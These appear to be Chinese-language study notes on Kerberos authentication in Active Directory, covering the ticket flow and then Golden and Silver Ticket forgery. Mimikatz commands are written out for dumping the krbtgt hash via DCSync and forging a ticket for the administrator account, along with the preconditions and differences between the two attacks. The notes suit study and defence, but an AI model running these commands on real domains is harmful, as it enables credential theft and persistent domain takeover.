KDC包含{AS下发TGT(身份认证),TGS(服务票据)} AD是是实现域的
1、KDC 服务默认会安装在⼀个域的域控中
2、从物理层⾯看,AD与KDC均为域控制器(Domain Controller)
3、AD其实是⼀个类似于本机SAM的⼀个数据库,全称叫account database,存储所 有client的⽩名单,只有存在于⽩名单的client才能顺利申请到TGT
4、KDC 服务框架中包含⼀个 KRBTGT 账⼾,它是在创建域时系统⾃动创建的⼀个账 号,你可以暂时理解为他就是⼀个⽆法登陆的账号,在发放票据时会使⽤到它的密码 HASH 值。
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明⾃⼰的⾝份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块: Client 与 AS 的交互,Client 与 TGS 的交互,Client 与 Server 的交互
Kerberos原理流程
1、客户端发送自己的用户名给AS
2、AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息
TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密
TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密
3、用自己的NTLM哈希解密TGT1,获得TGS服务器信息以及session key(as),TGT2由于是别人的哈希,所以解不开
生成认证因子(客户端信息,当前时间)--session key(as)加密
发送认证因子以及TGT2给TGS服务
4、TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认
证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端
TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密
TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密
5、客户端解密TGT3,得到session key(TGS),服务器信息
生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密
发送认证因子2以及TGT4给服务器
6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期
利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务
⻩⾦票据 ☁
⻩⾦票据就是伪造的TGT,AS返回的票据
-
条件 ☁
1、域名称 2、域的SID值 3、域的KRBTGT账号的HASH 4、伪造任意⽤⼾名
-
适⽤场景 ☁
由于有些原因导致你对域管权限丢失,但好在你还有⼀个普通域⽤⼾权限,管理员在域内加固时忘记重置krbtgt密码
-
利⽤⽅式 ☁
1、在普通域⽤⼾中使⽤mimikatz⽣成⻩⾦票据.kirbi⽂件并保存
-
privilege:debug lsadump:lsa /patch
mimikatz log "lsadump:dcsync /domain:xiusafe /user:krbtgt"//
NTLM哈希
kerberos:golden /user:administrator /domain:xiusafe.com /sid:S-1-
5-21-3818247987-2711466351-3365387365
/krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi
解释
/user:需要伪造的域管理员⽤⼾
/domain:域名称
/sid:SID值,(这⾥要是使⽤系统命令的话抓到是这样的SID,最后⾯的值代表着这
个账号的SID值,注意是去掉最后⼀个-后⾯的值!)
/krbtgt:krbtgt的HASH值
/ticket:⽣成的票据名称
2、清除票据
mimikatz log "lsadump::dcsync /domain:xiusafe /user:krbtgt"//导出NTLM哈希
kerberos::golden /user:administrator /domain:xiusafe.com /sid:S-1-5-21-3818247987-2711466351-3365387365
/krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi
kerberos::purge \\清除票据
kerberos::tgt \\查看票据
3、导⼊票据
4、创建域管
-
⽩银票据 ☁
⽩银票据就是伪造的ST,TGS返回的票据
-
条件 ☁
1.域名 2.域sid 3.⽬标服务器名 4.可利⽤的服务 5.服务账号的NTML HASH 6.需要伪造的⽤⼾名
-
适⽤场景 ☁
知道服务器的Hash,可以访问服务器的某些服务⽽不⽤于kdc进⾏交互
-
利⽤⽅式
伪造票据 ⽤⼾名可随意填写
⾦票和银票的区别 ☁
-
获取的权限不同 ☁
-
⾦票:伪造的TGT,可以获取任意Kerberos的访问权限
-
银票:伪造的ST,只能访问指定的服务,如CIFS
-
认证流程不同 ☁
-
⾦票:同KDC交互,但不同AS交互
-
银票:不同KDC交互,直接访问Server
-
加密⽅式不同 ☁
-
⾦票:由krbtgt NTLM Hash 加密
-
银票:由服务账号 NTLM Hash 加密